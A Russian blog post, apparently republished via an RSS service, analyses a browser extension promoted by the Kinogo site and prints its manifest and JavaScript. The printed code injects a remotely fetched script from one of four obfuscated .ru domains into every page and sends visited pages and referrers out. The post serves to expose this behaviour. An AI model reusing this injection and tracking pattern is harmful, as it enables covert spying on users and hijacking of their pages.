При входе на сайт Kinogo начал возникать баннер:
Мне стало интересно что это за расширение и решил просмотреть код.
Почему появилось расширение?
Информация от создателей (скриншот группы vk, ниже будет продублировано текстом, не портите зрение):
Единственный плагин который у нас еще не готов под браузер Opera, ожидайте в скором будущем. Поддержка Internet Exploler не будет.
Оповещение вылетает раз в сутки на сайте, если сегодня вы по какой-либо причине не установили расширение, у вас будет возможность завтра установить или отказаться от него закрыв окошко.
О расширении
Стоит отметить, что расширений существует несколько (не меньше 3х). У разных пользователей могут возникать разные ссылки на расширения. Те расширения, что мне попались, содержали идентичный код. Поэтому остановлюсь на этом.
Название: Angry Racoon — уход от бана
Дата последнего обновления: 5 Мая 2015.
Версия: 1.0.3
Обзор кода расширения
Коротко опишу, только интересную цепочку:
1. Разбор любого расширения начинается с manifest.json
{
"background": {
"page": "html/background.html"
},
"content_scripts": [ {
"js": [
"core/frameworks/cajon.js",
"core/frameworks/jquery.js",
"core/process.js"
],
"matches": [ "*://*/*" ],
"run_at": "document_start"
} ],
"description": "Мы анализируем каждый сайт который вы посещаете и боремся за свободный Интернет!",
"icons": {
"128": "images/128.png",
"16": "images/16.png",
"48": "images/48.png"
},
"manifest_version": 2,
"name": "Angry Kino - уход от бана",
"permissions": [
"webRequest",
"webRequestBlocking",
"webNavigation",
"tabs",
"\u003Call_urls>"
],
"update_url": "http://ift.tt/Lk3ZUG",
"version": "1.0.3",
"web_accessible_resources": [
"images/_.png",
"core/content.js",
"core/contentSession.js",
"core/messaging.js",
"core/frameworks/uri.js",
"core/backgroundHandlers.js",
"core/backgroundSession.js",
"core/backgroundUtils.js"
]
}
2. Из значения ключа «content_scripts» следует, что кроме фреймворков на КАЖДУЮ, открытую пользователем страницу, подключается файл process.js
require.config({
baseUrl: chrome.extension.getURL('/')
});
require([
"core/content"
], function() {
});
3. В process.js, с помощью функции require, подключается файл «content.js»
define(function (require) {
exports = {};
(function () {
var messageDispatcher = require('core/messaging').MessageDispatcher;
messageDispatcher.sendToBackground(
{
cmd: 'GetRequestUrl'
}, function (url) {
if (url) {
url = url.replace(/^https?:/, '')
+ '&r=' + encodeURIComponent(document.referrer)
+ '&h=' + encodeURIComponent(document.location.host)
+ '&rand=' + (new Date()).getTime();
if (document.head) {
$("head").append($("<script />", {
src: url
}));
} else {
var i = setInterval(function () {
if (document.head) {
clearInterval(i);
$("head").append($("<script />", {
src: url
}));
}
}, 100);
}
}
});
if (/^(.*\.)?kinogo\.(\w+)$/i.test(document.location.host)) {
var i2 = setInterval(function () {
if (document.body) {
clearInterval(i2);
$("body").append($("<div>").addClass('KINOEXTESIONWASINSTALLED').hide());
}
}, 100);
}
}).call(this);
return exports;
});
4. В content.js интересен вызов функции messageDispatcher.sendToBackground из файла messaging.js
define(function (require) {
exports = {};
(function () {
var _handlers = {};
function dispatcher(handlers, request, sender, sendResponse) {
if (!request || !request.cmd || !(typeof request.cmd === 'string')) {
throw 'Error: Bad request!';
}
var handlerName = 'handle' + request.cmd;
var handler = handlers[handlerName];
if (!(typeof handler === 'function')) {
return;
}
handler(request.args, sender, sendResponse);
}
chrome.extension.onMessage.addListener(
function (request, sender, sendResponse) {
dispatcher(_handlers, request, sender, sendResponse);
}
);
exports.MessageDispatcher = {
addHandlers: function(handlers) {
for(var name in handlers) {
_handlers[name] = handlers[name];
}
},
sendToBackground: function (request, callback) {
callback = callback || $.noop;
chrome.extension.sendMessage(request, callback);
},
sendToContentScript: function (tabId, request, callback) {
callback = callback || $.noop;
chrome.tabs.sendMessage(tabId, request, callback);
}
};
}).call(this);
return exports;
});
5. Данная функция является оберткой над Extensions API для удобного обмена сообщениями между фоновым скриптом и скриптами, вставленными на каждую страницу.
6. Итак функция messageDispatcher.sendToBackground запрашивает у фонового скрипта url.
7. Поиск получения файла с кодом для отдачи url, аналогичен пунктам выше, поэтому просто цепочка:
manifest.json ==(key "background.page")==> background.html backround.html ==(script)==> demon.js demon.js ==(require)==> backround.js background.js ==(require)==> backgroundHandlers.js backgroundHandlers.js ==(require)==> backgroundUtils.js
8. Рассмотрим backgroundUtils.js
define(function (require) {
exports = {};
(function () {
var Session = require('core/backgroundSession').Session;
var ProxyGetter = require('core/proxy').ProxyGetter;
exports = {
getRequestUrl: function() {
if (ProxyGetter.serverIp) {
return (
ProxyGetter.serverIp + '/getscripts2?'
+ this.getRequestParams()
);
}
},
getRequestParams: function() {
return ('&b=' + Session.buildId
+ '&uid=' + Session.instanceId
+ '&insd=' + Session.installDate
+ '&sid='
+ '&df='
);
},
sendNotify: function(from, to) {
if (ProxyGetter.serverIp) {
var url = (
ProxyGetter.serverIp + '/kinogo_log?'
+ this.getRequestParams()
+ '&from=' + encodeURIComponent(from)
+ '&to=' + encodeURIComponent(to)
);
$.get(url);
}
}
};
}).call(this);
return exports;
});
9. Используя функцию getRequestUrl и файл с адресами proxy.js, расширение получает один из 4х url (рандомно).
'http://outrageous.ru', 'http://thrilling.ru', 'http://frightened.ru', 'http://agitated.ru',
define(function (require) {
exports = {};
(function () {
/**
* Bypass protection from Roskomnadzor
*/
var reserveLinks = [
'ht' + 'tp' + ':/' + '/outr' + 'ageous' + '.ru',
'ht' + 'tp' + ':/' + '/thri' + 'lling' + '.ru',
'ht' + 'tp' + ':/' + '/frig' + 'htened' + '.ru',
'ht' + 'tp' + ':/' + '/agit' + 'ated' + '.ru',
];
var ProxyGetter = {};
ProxyGetter.serverIp = null;
/**
* Use proxy
* @param {type} callback
* @returns {undefined}
*/
ProxyGetter.findServer = function (callback) {
ProxyGetter.serverIp = null;
if(reserveLinks.length > 0) {
ProxyGetter.serverIp = reserveLinks[parseInt(Math.random() * reserveLinks.length)];
}
callback();
};
exports.ProxyGetter = ProxyGetter;
}).call(this);
return exports;
});
10. Итак, на запрос клиентского скрипта, фоновый возвращает один из 4х url. Вернемся к клиентскому скрипту и функции sendToBackground (пункт 6). А данная функция добавляет к url реферера для страницы и вставляет скрипт на страницу по полученному url.
Самое интересное после прочтения кода — это подтверждение полученных умозаключений на практике:
А теперь соберем все воедино:
1. довольно популярный сайт просит установить расширение.
2. расширение вставляет на каждую страницу пользователя произвольный скрипт, который может делать все что угодно (упомяну словосочетания с прошлой статьи — онлайн-банкинг, пароли, сообщения, анонимность).
3. помимо скрипта идет явная отправка информации о пользователе: посещенные страницы, и рефереры для данных страниц.
Выводы делайте сами.
This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.
Комментариев нет:
Отправить комментарий